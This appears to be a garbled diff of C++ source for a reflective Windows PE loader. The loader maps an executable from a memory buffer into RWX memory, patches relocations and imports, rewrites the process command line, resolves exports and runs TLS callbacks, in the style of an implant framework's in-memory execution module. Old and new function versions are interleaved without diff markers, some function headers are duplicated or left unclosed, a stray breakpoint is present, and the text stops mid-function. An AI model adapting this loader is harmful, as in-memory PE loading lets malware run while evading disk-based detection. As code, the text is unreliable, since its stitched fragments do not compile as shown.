|
||||
if (!DataDir || !DataDir->VirtualAddress || !DataDir->Size)
|
||||
return;
|
||||
|
||||
if ( Callback ) {
|
||||
for ( INT i = 0; Callback[i] != nullptr; ++i ) {
|
||||
Callback[i]( Base, DLL_PROCESS_ATTACH, nullptr );
|
||||
}
|
||||
}
|
||||
}
|
||||
auto TlsDir =
|
||||
(PIMAGE_TLS_DIRECTORY)((UPTR)Base + DataDir->VirtualAddress);
|
||||
|
||||
// AddressOfCallBacks is a VA, NOT an RVA
|
||||
auto Callbacks =
|
||||
(PIMAGE_TLS_CALLBACK*)TlsDir->AddressOfCallBacks;
|
||||
|
||||
if (!Callbacks)
|
||||
return;
|
||||
|
||||
for (; *Callbacks; ++Callbacks)
|
||||
{
|
||||
(*Callbacks)(
|
||||
(PVOID)Base,
|
||||
DLL_PROCESS_ATTACH,
|
||||
nullptr
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
auto DECLFN FixExp(
|
||||
_In_ PVOID Base,
|
||||
_In_ IMAGE_DATA_DIRECTORY* DataDir
|
||||
) -> VOID {
|
||||
G_INSTANCE
|
||||
|
||||
if ( DataDir->Size ) {
|
||||
PIMAGE_RUNTIME_FUNCTION_ENTRY FncEntry = (PIMAGE_RUNTIME_FUNCTION_ENTRY)( (UPTR)( Base ) + DataDir->VirtualAddress );
|
||||
|
||||
Instance->Win32.RtlAddFunctionTable( (PRUNTIME_FUNCTION)FncEntry, DataDir->Size / sizeof( IMAGE_RUNTIME_FUNCTION_ENTRY ), (UPTR)( Base ) );
|
||||
}
|
||||
}
|
||||
|
||||
auto DECLFN FixImp(
|
||||
_In_ PVOID Base,
|
||||
_In_ IMAGE_DATA_DIRECTORY* DataDir
|
||||
auto DECLFN ValidateExceptionDirectory(
|
||||
_In_ PVOID Base,
|
||||
_In_ IMAGE_NT_HEADERS* Header
|
||||
) -> BOOL {
|
||||
G_INSTANCE
|
||||
G_INSTANCE
|
||||
|
||||
PIMAGE_IMPORT_DESCRIPTOR ImpDesc = (PIMAGE_IMPORT_DESCRIPTOR)( (UPTR)( Base ) + DataDir->VirtualAddress );
|
||||
IMAGE_DATA_DIRECTORY* ExceptDir = &Header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION];
|
||||
|
||||
for ( ; ImpDesc->Name; ImpDesc++ ) {
|
||||
if (!ExceptDir->Size || !ExceptDir->VirtualAddress) {
|
||||
Instance->Win32.DbgPrint("[*] No exception directory.\n");
|
||||
return TRUE; // Not having exceptions is okay
|
||||
}
|
||||
|
||||
PIMAGE_THUNK_DATA FirstThunk = (PIMAGE_THUNK_DATA)( (UPTR)( Base ) + ImpDesc->FirstThunk );
|
||||
PIMAGE_THUNK_DATA OriginThunk = (PIMAGE_THUNK_DATA)( (UPTR)( Base ) + ImpDesc->OriginalFirstThunk );
|
||||
PIMAGE_RUNTIME_FUNCTION_ENTRY Entry = (PIMAGE_RUNTIME_FUNCTION_ENTRY)((UPTR)Base + ExceptDir->VirtualAddress);
|
||||
DWORD EntryCount = ExceptDir->Size / sizeof(IMAGE_RUNTIME_FUNCTION_ENTRY);
|
||||
|
||||
PCHAR DllName = (CHAR*)( (UPTR)( Base ) + ImpDesc->Name );
|
||||
PVOID DllBase = (PVOID)( Instance->Win32.GetModuleHandleA( DllName ) );
|
||||
Instance->Win32.DbgPrint("[+] Validating %lu exception entries...\n", EntryCount);
|
||||
|
||||
PVOID FunctionPtr = 0;
|
||||
STRING AnsiString = { 0 };
|
||||
|
||||
if ( !DllBase ) {
|
||||
DllBase = (PVOID)LibLoad( DllName );
|
||||
}
|
||||
|
||||
if ( !DllBase ) {
|
||||
return FALSE;
|
||||
for (DWORD i = 0; i < EntryCount; i++) {
|
||||
// BeginAddress and EndAddress should be valid RVAs
|
||||
if (Entry[i].BeginAddress >= Header->OptionalHeader.SizeOfImage) {
|
||||
Instance->Win32.DbgPrint("[-] Exception entry %lu has invalid BeginAddress: 0x%X\n", i, Entry[i].BeginAddress);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
for ( ; OriginThunk->u1.Function; FirstThunk++, OriginThunk++ ) {
|
||||
|
||||
if ( IMAGE_SNAP_BY_ORDINAL( OriginThunk->u1.Ordinal ) ) {
|
||||
|
||||
Instance->Win32.LdrGetProcedureAddress(
|
||||
(HMODULE)DllBase, NULL, IMAGE_ORDINAL( OriginThunk->u1.Ordinal ), &FunctionPtr
|
||||
);
|
||||
|
||||
FirstThunk->u1.Function = (UPTR)( FunctionPtr );
|
||||
if ( !FirstThunk->u1.Function ) return FALSE;
|
||||
|
||||
} else {
|
||||
PIMAGE_IMPORT_BY_NAME Hint = (PIMAGE_IMPORT_BY_NAME)( (UPTR)( Base ) + OriginThunk->u1.AddressOfData );
|
||||
|
||||
{
|
||||
AnsiString.Length = Str::LengthA( Hint->Name );
|
||||
AnsiString.MaximumLength = AnsiString.Length + sizeof( CHAR );
|
||||
AnsiString.Buffer = Hint->Name;
|
||||
}
|
||||
|
||||
Instance->Win32.LdrGetProcedureAddress(
|
||||
(HMODULE)DllBase, &AnsiString, 0, &FunctionPtr
|
||||
);
|
||||
FirstThunk->u1.Function = (UPTR)( FunctionPtr );
|
||||
|
||||
if ( !FirstThunk->u1.Function ) return FALSE;
|
||||
}
|
||||
if (Entry[i].EndAddress > Header->OptionalHeader.SizeOfImage) {
|
||||
Instance->Win32.DbgPrint("[-] Exception entry %lu has invalid EndAddress: 0x%X\n", i, Entry[i].EndAddress);
|
||||
return FALSE;
|
||||
}
|
||||
if (Entry[i].EndAddress <= Entry[i].BeginAddress) {
|
||||
Instance->Win32.DbgPrint("[-] Exception entry %lu has EndAddress <= BeginAddress\n", i);
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Instance->Win32.DbgPrint("[+] Exception directory validation passed.\n");
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
auto DECLFN FixRel(
|
||||
_In_ PVOID Base,
|
||||
_In_ UPTR Delta,
|
||||
_In_ IMAGE_DATA_DIRECTORY* DataDir
|
||||
auto DECLFN FixExp(
|
||||
_In_ PVOID Base,
|
||||
_In_ IMAGE_DATA_DIRECTORY* DataDir
|
||||
) -> VOID {
|
||||
PIMAGE_BASE_RELOCATION BaseReloc = (PIMAGE_BASE_RELOCATION)( (UPTR)( Base ) + DataDir->VirtualAddress );
|
||||
PIMAGE_RELOC RelocInf = { 0 };
|
||||
ULONG_PTR RelocPtr = NULL;
|
||||
G_INSTANCE
|
||||
|
||||
while ( BaseReloc->VirtualAddress ) {
|
||||
|
||||
RelocInf = (PIMAGE_RELOC)( BaseReloc + 1 );
|
||||
RelocPtr = ( (UPTR)( Base ) + BaseReloc->VirtualAddress );
|
||||
if (!DataDir || !DataDir->Size || !DataDir->VirtualAddress) {
|
||||
Instance->Win32.DbgPrint("[*] No exception directory present.\n");
|
||||
return;
|
||||
}
|
||||
|
||||
while ( (BYTE*)( RelocInf ) != (BYTE*)( BaseReloc ) + BaseReloc->SizeOfBlock ) {
|
||||
switch ( RelocInf->Type ) {
|
||||
case IMAGE_REL_TYPE:
|
||||
*(UINT64*)( RelocPtr + RelocInf->Offset ) += (ULONG_PTR)( Delta ); break;
|
||||
case IMAGE_REL_BASED_HIGHLOW:
|
||||
*(UINT32*)( RelocPtr + RelocInf->Offset ) += (DWORD)( Delta ); break;
|
||||
case IMAGE_REL_BASED_HIGH:
|
||||
*(UINT16*)( RelocPtr + RelocInf->Offset ) += HIWORD( Delta ); break;
|
||||
case IMAGE_REL_BASED_LOW:
|
||||
*(UINT16*)( RelocPtr + RelocInf->Offset ) += LOWORD( Delta ); break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
PIMAGE_RUNTIME_FUNCTION_ENTRY FncEntry = (PIMAGE_RUNTIME_FUNCTION_ENTRY)((UPTR)Base + DataDir->VirtualAddress);
|
||||
DWORD EntryCount = DataDir->Size / sizeof(IMAGE_RUNTIME_FUNCTION_ENTRY);
|
||||
|
||||
RelocInf++;
|
||||
}
|
||||
if (EntryCount == 0) {
|
||||
Instance->Win32.DbgPrint("[*] Exception directory is empty.\n");
|
||||
return;
|
||||
}
|
||||
|
||||
BaseReloc = (PIMAGE_BASE_RELOCATION)RelocInf;
|
||||
};
|
||||
Instance->Win32.DbgPrint("[+] Found %lu exception entries at %p\n", EntryCount, FncEntry);
|
||||
|
||||
return;
|
||||
BOOL Success = Instance->Win32.RtlAddFunctionTable(
|
||||
(PRUNTIME_FUNCTION)FncEntry,
|
||||
EntryCount,
|
||||
(ULONG64)Base
|
||||
);
|
||||
|
||||
if (!Success)
|
||||
Instance->Win32.DbgPrint("[-] RtlAddFunctionTable failed!\n");
|
||||
else
|
||||
Instance->Win32.DbgPrint("[+] Successfully registered %lu function table entries.\n", EntryCount);
|
||||
}
|
||||
|
||||
auto DECLFN Reflect( BYTE* Buffer, ULONG Size, BYTE* ArgBuff, ULONG ArgSize ) {
|
||||
if ( *(ULONG*)( Buffer ) != 0x5A4D ) {
|
||||
return FALSE;
|
||||
}
|
||||
auto DECLFN FixImp(
|
||||
_In_ PVOID Base,
|
||||
_In_ IMAGE_DATA_DIRECTORY* DataDir
|
||||
) -> BOOL
|
||||
{
|
||||
G_INSTANCE
|
||||
|
||||
IMAGE_NT_HEADERS* Header = (IMAGE_NT_HEADERS*)( Buffer + ( (IMAGE_DOS_HEADER*)Buffer )->e_lfanew );
|
||||
IMAGE_SECTION_HEADER* SecHeader = IMAGE_FIRST_SECTION( Header );
|
||||
IMAGE_DATA_DIRECTORY* ExportDir = &Header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
IMAGE_DATA_DIRECTORY* ImportDir = &Header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
|
||||
IMAGE_DATA_DIRECTORY* ExceptDir = &Header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION];
|
||||
IMAGE_DATA_DIRECTORY* TlsDir = &Header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS];
|
||||
IMAGE_DATA_DIRECTORY* RelocDir = &Header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
|
||||
if (!DataDir || !DataDir->VirtualAddress || !DataDir->Size)
|
||||
return TRUE;
|
||||
|
||||
auto ImpDesc =
|
||||
(PIMAGE_IMPORT_DESCRIPTOR)((UPTR)Base + DataDir->VirtualAddress);
|
||||
|
||||
for (; ImpDesc->Name; ++ImpDesc)
|
||||
{
|
||||
auto DllName =
|
||||
(CHAR*)((UPTR)Base + ImpDesc->Name);
|
||||
|
||||
PVOID DllBase =
|
||||
Instance->Win32.GetModuleHandleA(DllName);
|
||||
|
||||
if (!DllBase)
|
||||
DllBase = (PVOID)LibLoad(DllName);
|
||||
|
||||
if (!DllBase) {
|
||||
Instance->Win32.DbgPrint("[-] Failed to load DLL: %s\n", DllName);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
Instance->Win32.DbgPrint("[+] Loaded DLL: %s at %p\n", DllName, DllBase);
|
||||
|
||||
PIMAGE_THUNK_DATA64 FirstThunk =
|
||||
(PIMAGE_THUNK_DATA64)((UPTR)Base + ImpDesc->FirstThunk);
|
||||
|
||||
PIMAGE_THUNK_DATA64 OrigThunk =
|
||||
ImpDesc->OriginalFirstThunk
|
||||
? (PIMAGE_THUNK_DATA64)((UPTR)Base + ImpDesc->OriginalFirstThunk)
|
||||
: FirstThunk;
|
||||
|
||||
for (; OrigThunk->u1.AddressOfData; ++OrigThunk, ++FirstThunk)
|
||||
{
|
||||
PVOID Function = nullptr;
|
||||
|
||||
if (IMAGE_SNAP_BY_ORDINAL64(OrigThunk->u1.Ordinal))
|
||||
{
|
||||
NTSTATUS st =
|
||||
Instance->Win32.LdrGetProcedureAddress(
|
||||
(HMODULE)DllBase,
|
||||
nullptr,
|
||||
(ULONG)IMAGE_ORDINAL64(OrigThunk->u1.Ordinal),
|
||||
&Function
|
||||
);
|
||||
|
||||
if (!NT_SUCCESS(st) || !Function) {
|
||||
Instance->Win32.DbgPrint("[-] Failed to get ordinal function\n");
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
auto ImportByName =
|
||||
(PIMAGE_IMPORT_BY_NAME)(
|
||||
(UPTR)Base + OrigThunk->u1.AddressOfData
|
||||
);
|
||||
|
||||
ANSI_STRING Name;
|
||||
Name.Buffer = (PCHAR)ImportByName->Name;
|
||||
Name.Length = (USHORT)Str::LengthA(Name.Buffer);
|
||||
Name.MaximumLength = Name.Length + 1;
|
||||
|
||||
NTSTATUS st =
|
||||
Instance->Win32.LdrGetProcedureAddress(
|
||||
(HMODULE)DllBase,
|
||||
&Name,
|
||||
0,
|
||||
&Function
|
||||
);
|
||||
|
||||
if (!NT_SUCCESS(st) || !Function) {
|
||||
Instance->Win32.DbgPrint("[-] Failed to get function: %s\n", Name.Buffer);
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
FirstThunk->u1.Function = (ULONGLONG)Function;
|
||||
}
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// Fix relocations
|
||||
void FixRel(PVOID Base, UPTR Delta, IMAGE_DATA_DIRECTORY* Dir, SIZE_T SizeOfImage)
|
||||
{
|
||||
G_INSTANCE
|
||||
|
||||
if (!Dir->VirtualAddress || !Dir->Size) {
|
||||
Instance->Win32.DbgPrint("[*] No relocations present.\n");
|
||||
return;
|
||||
}
|
||||
|
||||
if (!Delta) {
|
||||
Instance->Win32.DbgPrint("[*] Delta is zero, skipping relocations.\n");
|
||||
return;
|
||||
}
|
||||
|
||||
Instance->Win32.DbgPrint("[+] Applying relocations. Delta: 0x%llX, Dir Size: 0x%lX, Image Size: 0x%llX\n", Delta, Dir->Size, SizeOfImage);
|
||||
|
||||
auto Reloc = (PIMAGE_BASE_RELOCATION)((UPTR)Base + Dir->VirtualAddress);
|
||||
auto End = (UPTR)Reloc + Dir->Size;
|
||||
ULONG RelocationCount = 0;
|
||||
ULONG SkippedCount = 0;
|
||||
|
||||
while ((UPTR)Reloc < End && Reloc->SizeOfBlock)
|
||||
{
|
||||
auto Count = (Reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
|
||||
auto Entry = (PWORD)(Reloc + 1);
|
||||
auto Page = (UPTR)Base + Reloc->VirtualAddress;
|
||||
|
||||
for (UINT i = 0; i < Count; i++, Entry++)
|
||||
{
|
||||
WORD Type = *Entry >> 12;
|
||||
WORD Offset = *Entry & 0xFFF;
|
||||
|
||||
if (Type == IMAGE_REL_BASED_DIR64) // Type 10 - PE32+ standard
|
||||
{
|
||||
ULONGLONG* AddressPtr = (ULONGLONG*)(Page + Offset);
|
||||
|
||||
// Bounds check
|
||||
if ((UPTR)AddressPtr < (UPTR)Base || (UPTR)AddressPtr >= ((UPTR)Base + SizeOfImage)) {
|
||||
Instance->Win32.DbgPrint("[-] WARNING: Relocation address out of bounds: %p\n", AddressPtr);
|
||||
SkippedCount++;
|
||||
continue;
|
||||
}
|
||||
|
||||
*AddressPtr += Delta;
|
||||
RelocationCount++;
|
||||
}
|
||||
else if (Type == IMAGE_REL_BASED_ABSOLUTE)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
else if (Type != 0)
|
||||
{
|
||||
Instance->Win32.DbgPrint("[*] Unsupported relocation type: %d at %p\n", Type, Page + Offset);
|
||||
}
|
||||
}
|
||||
Reloc = (PIMAGE_BASE_RELOCATION)((UPTR)Reloc + Reloc->SizeOfBlock);
|
||||
}
|
||||
|
||||
Instance->Win32.DbgPrint("[+] Applied %lu relocations. Skipped %lu.\n", RelocationCount, SkippedCount);
|
||||
|
||||
if (RelocationCount == 0 && SkippedCount > 0) {
|
||||
Instance->Win32.DbgPrint("[-] ERROR: All relocations were skipped! PE will likely crash.\n");
|
||||
}
|
||||
}
|
||||
|
||||
// Fix command line arguments
|
||||
auto DECLFN FixArguments(WCHAR* wArguments) -> VOID {
|
||||
G_INSTANCE
|
||||
|
||||
PPEB Peb = NtCurrentPeb();
|
||||
PRTL_USER_PROCESS_PARAMETERS pParam = Peb->ProcessParameters;
|
||||
|
||||
Instance->Win32.DbgPrint("[+] Original CommandLine: %.*S\n",
|
||||
pParam->CommandLine.Length / sizeof(WCHAR),
|
||||
pParam->CommandLine.Buffer
|
||||
);
|
||||
|
||||
if (!wArguments || !*wArguments)
|
||||
return;
|
||||
|
||||
SIZE_T len = (Instance->Win32.wcslen(wArguments) + 1) * sizeof(WCHAR);
|
||||
|
||||
PWSTR NewBuf = (PWSTR)Instance->Win32.RtlAllocateHeap(
|
||||
Peb->ProcessHeap,
|
||||
HEAP_ZERO_MEMORY,
|
||||
len
|
||||
);
|
||||
|
||||
if (!NewBuf)
|
||||
return;
|
||||
|
||||
Mem::Copy(NewBuf, wArguments, len);
|
||||
|
||||
pParam->CommandLine.Buffer = NewBuf;
|
||||
pParam->CommandLine.Length = (USHORT)(len - sizeof(WCHAR));
|
||||
pParam->CommandLine.MaximumLength = (USHORT)len;
|
||||
|
||||
Instance->Win32.DbgPrint("[+] New CommandLine: %.*S\n",
|
||||
pParam->CommandLine.Length / sizeof(WCHAR),
|
||||
pParam->CommandLine.Buffer
|
||||
);
|
||||
}
|
||||
|
||||
auto DECLFN FixMemPermissions(
|
||||
BYTE* PeBaseAddr,
|
||||
IMAGE_NT_HEADERS* Header,
|
||||
IMAGE_SECTION_HEADER* SecHeader
|
||||
) -> VOID
|
||||
{
|
||||
G_INSTANCE
|
||||
|
||||
for (INT i = 0; i < Header->FileHeader.NumberOfSections; i++) {
|
||||
|
||||
if (!SecHeader[i].Misc.VirtualSize)
|
||||
continue;
|
||||
|
||||
ULONG SecChar = SecHeader[i].Characteristics;
|
||||
ULONG NewProt = PAGE_READONLY;
|
||||
|
||||
if (SecChar & IMAGE_SCN_MEM_EXECUTE) {
|
||||
NewProt = (SecChar & IMAGE_SCN_MEM_WRITE) ? PAGE_EXECUTE_READWRITE : PAGE_EXECUTE_READ;
|
||||
}
|
||||
else {
|
||||
NewProt = (SecChar & IMAGE_SCN_MEM_WRITE) ? PAGE_READWRITE : PAGE_READONLY;
|
||||
}
|
||||
|
||||
BYTE* SectionBase = PeBaseAddr + SecHeader[i].VirtualAddress;
|
||||
|
||||
UPTR ProtectBase = ALIGN_DOWN((UPTR)SectionBase, 0x1000);
|
||||
|
||||
SIZE_T ProtectSize = ALIGN_UP((max(SecHeader[i].Misc.VirtualSize, SecHeader[i].SizeOfRawData)) + ((UPTR)SectionBase - ProtectBase), 0x1000);
|
||||
|
||||
PVOID ProtectBasePtr = (PVOID)ProtectBase;
|
||||
ULONG OldProt = 0;
|
||||
|
||||
ProtVm(&ProtectBasePtr, &ProtectSize, NewProt, &OldProt);
|
||||
}
|
||||
}
|
||||
|
||||
auto DECLFN FetchExportedFnAddr(PIMAGE_DATA_DIRECTORY pEntryExportDataDir, ULONG_PTR PeBaseAddr, LPCSTR FnName) -> PVOID
|
||||
{
|
||||
G_INSTANCE
|
||||
|
||||
PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(PeBaseAddr + pEntryExportDataDir->VirtualAddress);
|
||||
PDWORD FunctionNameArray = (PDWORD)(PeBaseAddr + pImgExportDir->AddressOfNames);
|
||||
PDWORD FunctionAddressArray = (PDWORD)(PeBaseAddr + pImgExportDir->AddressOfFunctions);
|
||||
PWORD FunctionOrdinalArray = (PWORD)(PeBaseAddr + pImgExportDir->AddressOfNameOrdinals);
|
||||
|
||||
Instance->Win32.DbgPrint("[+] Function to search: %s\n", FnName);
|
||||
Instance->Win32.DbgPrint("[+] Number of Exported Functions: %d\n", pImgExportDir->NumberOfFunctions);
|
||||
for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++)
|
||||
{
|
||||
CHAR* FnNameParsed = (CHAR*)(PeBaseAddr + FunctionNameArray[i]);
|
||||
PVOID FnAddr = (PVOID)(PeBaseAddr + FunctionAddressArray[FunctionOrdinalArray[i]]);
|
||||
Instance->Win32.DbgPrint("[+] Exported Function: %s at %p\n", FnNameParsed, FnAddr);
|
||||
|
||||
Instance->Win32.DbgPrint("[*] Comparing %s with %s\n", FnName, FnNameParsed);
|
||||
if (Instance->Win32.strcmp(FnName, FnNameParsed) == 0) {
|
||||
return FnAddr;
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
auto DECLFN Reflect(BYTE* Buffer, ULONG Size, WCHAR* Arguments, WCHAR* ExportedFnName) -> BOOL {
|
||||
|
||||
G_INSTANCE
|
||||
|
||||
Instance->Win32.DbgPrint("[+] === PE LOADER START ===\n");
|
||||
Instance->Win32.DbgPrint("[+] Buffer: %p, Size: 0x%X\n", Buffer, Size);
|
||||
|
||||
// Validate MZ signature
|
||||
if (*(USHORT*)Buffer != 0x5A4D) {
|
||||
Instance->Win32.DbgPrint("[-] No MZ signature\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
IMAGE_DOS_HEADER* DosHdr = (IMAGE_DOS_HEADER*)Buffer;
|
||||
|
||||
// Validate e_lfanew
|
||||
if (DosHdr->e_lfanew < 64 || DosHdr->e_lfanew > 512) {
|
||||
Instance->Win32.DbgPrint("[-] Invalid e_lfanew: 0x%X\n", DosHdr->e_lfanew);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
Instance->Win32.DbgPrint("[+] e_lfanew: 0x%X\n", DosHdr->e_lfanew);
|
||||
|
||||
// Get PE header
|
||||
IMAGE_NT_HEADERS* Header = (IMAGE_NT_HEADERS*)(Buffer + DosHdr->e_lfanew);
|
||||
|
||||
// Validate PE signature
|
||||
if (Header->Signature != 0x4550) {
|
||||
Instance->Win32.DbgPrint("[-] Invalid PE signature: 0x%X\n", Header->Signature);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
Instance->Win32.DbgPrint("[+] PE signature valid: 0x%X\n", Header->Signature);
|
||||
Instance->Win32.DbgPrint("[+] Machine: 0x%X (x64)\n", Header->FileHeader.Machine);
|
||||
Instance->Win32.DbgPrint("[+] NumberOfSections: %u\n", Header->FileHeader.NumberOfSections);
|
||||
|
||||
USHORT Magic = Header->OptionalHeader.Magic;
|
||||
Instance->Win32.DbgPrint("[+] Magic: 0x%04X (PE32+ (64-bit))\n", Magic);
|
||||
|
||||
ULONGLONG ImageBase = 0;
|
||||
SIZE_T SizeOfImage = 0;
|
||||
SIZE_T SizeOfHeaders = 0;
|
||||
ULONG AddressOfEntryPoint = 0;
|
||||
PIMAGE_DATA_DIRECTORY DataDirs = NULL;
|
||||
DWORD NumberOfRvaAndSizes = 0;
|
||||
|
||||
PIMAGE_OPTIONAL_HEADER64 OptHdr64 = (PIMAGE_OPTIONAL_HEADER64)&Header->OptionalHeader;
|
||||
ImageBase = OptHdr64->ImageBase;
|
||||
SizeOfImage = OptHdr64->SizeOfImage;
|
||||
SizeOfHeaders = OptHdr64->SizeOfHeaders;
|
||||
AddressOfEntryPoint = OptHdr64->AddressOfEntryPoint;
|
||||
DataDirs = OptHdr64->DataDirectory;
|
||||
NumberOfRvaAndSizes = OptHdr64->NumberOfRvaAndSizes;
|
||||
|
||||
Instance->Win32.DbgPrint("[+] ImageBase: 0x%llX (64-bit)\n", ImageBase);
|
||||
Instance->Win32.DbgPrint("[+] SizeOfImage: 0x%X\n", SizeOfImage);
|
||||
Instance->Win32.DbgPrint("[+] SizeOfHeaders: 0x%X\n", SizeOfHeaders);
|
||||
Instance->Win32.DbgPrint("[+] AddressOfEntryPoint: 0x%X\n", AddressOfEntryPoint);
|
||||
Instance->Win32.DbgPrint("[+] NumberOfRvaAndSizes: %u\n", NumberOfRvaAndSizes);
|
||||
|
||||
// Validate ImageBase
|
||||
if (ImageBase == 0) {
|
||||
Instance->Win32.DbgPrint("[-] ImageBase is ZERO - PE is corrupted!\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Validate SizeOfImage
|
||||
if (SizeOfImage == 0 || SizeOfImage > 0x10000000) {
|
||||
Instance->Win32.DbgPrint("[-] Invalid SizeOfImage: 0x%X\n", SizeOfImage);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Allocate memory
|
||||
SIZE_T RegionSize = SizeOfImage;
|
||||
BYTE* PeBaseAddr = nullptr;
|
||||
NTSTATUS AllocStatus;
|
||||
|
||||
Instance->Win32.DbgPrint("[+] Allocating 64-bit PE in full 64-bit address space\n");
|
||||
AllocStatus = Instance->Win32.NtAllocateVirtualMemory(
|
||||
NtCurrentProcess(),
|
||||
(PVOID*)&PeBaseAddr,
|
||||
0,
|
||||
&RegionSize,
|
||||
(MEM_COMMIT | MEM_RESERVE),
|
||||
PAGE_EXECUTE_READWRITE
|
||||
);
|
||||
|
||||
if (!NT_SUCCESS(AllocStatus) || !PeBaseAddr) {
|
||||
Instance->Win32.DbgPrint("[-] Allocation failed: 0x%X\n", AllocStatus);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
Instance->Win32.DbgPrint("[+] Allocated at: %p (0x%X bytes)\n", PeBaseAddr, SizeOfImage);
|
||||
|
||||
__asm("int3");
|
||||
|
||||
// Copy PE headers
|
||||
Mem::Copy(PeBaseAddr, Buffer, SizeOfHeaders);
|
||||
Instance->Win32.DbgPrint("[+] Copied headers\n");
|
||||
|
||||
// Copy PE sections
|
||||
IMAGE_SECTION_HEADER* SecHeader = IMAGE_FIRST_SECTION(Header);
|
||||
for (int i = 0; i < Header->FileHeader.NumberOfSections; i++) {
|
||||
BYTE* dst = PeBaseAddr + SecHeader[i].VirtualAddress;
|
||||
BYTE* src = Buffer + SecHeader[i].PointerToRawData;
|
||||
SIZE_T rawSize = SecHeader[i].SizeOfRawData;
|
||||
SIZE_T virtSize = SecHeader[i].Misc.VirtualSize;
|
||||
|
||||
if (rawSize)
|
||||
Mem::Copy(dst, src, rawSize);
|
||||
if (virtSize > rawSize)
|
||||
Mem::Set(dst + rawSize, 0, virtSize - rawSize);
|
||||
}
|
||||
Instance->Win32.DbgPrint("[+] Copied sections\n");
|
||||
|
||||
|
||||
ULONG_PTR Delta = (ULONG_PTR)PeBaseAddr - ImageBase;
|
||||
Instance->Win32.DbgPrint("[+] Relocation Delta: 0x%llX\n", Delta);
|
||||
Instance->Win32.DbgPrint("[+] Loaded at: %p\n", PeBaseAddr);
|
||||
Instance->Win32.DbgPrint("[+] ImageBase: 0x%llX\n", ImageBase);
|
||||
|
||||
if (NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_BASERELOC) {
|
||||
IMAGE_DATA_DIRECTORY* RelocDir = &DataDirs[IMAGE_DIRECTORY_ENTRY_BASERELOC];
|
||||
Instance->Win32.DbgPrint("[+] Reloc Directory: RVA=0x%X, Size=0x%X\n",
|
||||
RelocDir->VirtualAddress, RelocDir->Size);
|
||||
|
||||
FixRel(PeBaseAddr, Delta, RelocDir, SizeOfImage);
|
||||
}
|
||||
else {
|
||||
Instance->Win32.DbgPrint("[-] DataDirectory array too small\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Fix imports
|
||||
if (NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_IMPORT)
|
||||
{
|
||||
IMAGE_DATA_DIRECTORY* ImportDir = &DataDirs[IMAGE_DIRECTORY_ENTRY_IMPORT];
|
||||
Instance->Win32.DbgPrint("[+] Import Directory: RVA=0x%X, Size=0x%X\n", ImportDir->VirtualAddress, ImportDir->Size);
|
||||
|
||||
if (!FixImp(PeBaseAddr, ImportDir)) {
|
||||
Instance->Win32.DbgPrint("[-] Import fixup failed\n");
|
||||
return FALSE;
|
||||
}
|
||||
Instance->Win32.DbgPrint("[+] Fixed imports\n");
|
||||
}
|
||||
|
||||
// Fix command line arguments
|
||||
FixArguments(Arguments);
|
||||
Instance->Win32.DbgPrint("[+] Fixed arguments\n");
|
||||
|
||||
Instance->Win32.DbgPrint("[+] Arguments set to: %ws\n", Arguments);
|
||||
|
||||
// Fix memory permissions
|
||||
FixMemPermissions(PeBaseAddr, Header, SecHeader);
|
||||
Instance->Win32.DbgPrint("[+] Fixed memory permissions\n");
|
||||
|
||||
// Get Exported address of function
|
||||
Instance->Win32.DbgPrint("[+] Exported Function Name send to search: %s\n", ExportedFnName);
|
||||
IMAGE_DATA_DIRECTORY* EntryExportDir = &DataDirs[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
PVOID ExportedFnAddr = NULL;
|
||||
|
||||
if (EntryExportDir->Size && EntryExportDir->VirtualAddress && ExportedFnName)
|
||||
{
|
||||
ExportedFnAddr = FetchExportedFnAddr(EntryExportDir, (ULONG_PTR)PeBaseAddr, (LPCSTR)ExportedFnName);
|
||||
Instance->Win32.DbgPrint("[+] Exported Function Address: %p\n", ExportedFnAddr);
|
||||
}
|
||||
|
||||
// Register exception handlers
|
||||
if (NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_EXCEPTION) {
|
||||
IMAGE_DATA_DIRECTORY* ExceptDir = &DataDirs[IMAGE_DIRECTORY_ENTRY_EXCEPTION];
|
||||
Instance->Win32.DbgPrint("[+] Exception Directory: RVA=0x%X, Size=0x%X\n",
|
||||
ExceptDir->VirtualAddress, ExceptDir->Size);
|
||||
FixExp(PeBaseAddr, ExceptDir);
|
||||
Instance->Win32.DbgPrint("[+] Registered exception handlers\n");
|
||||
}
|
||||
|
||||
// Call TLS callbacks
|
||||
if (NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_TLS) {
|
||||
IMAGE_DATA_DIRECTORY* TlsDir = &DataDirs[IMAGE_DIRECTORY_ENTRY_TLS];
|
||||
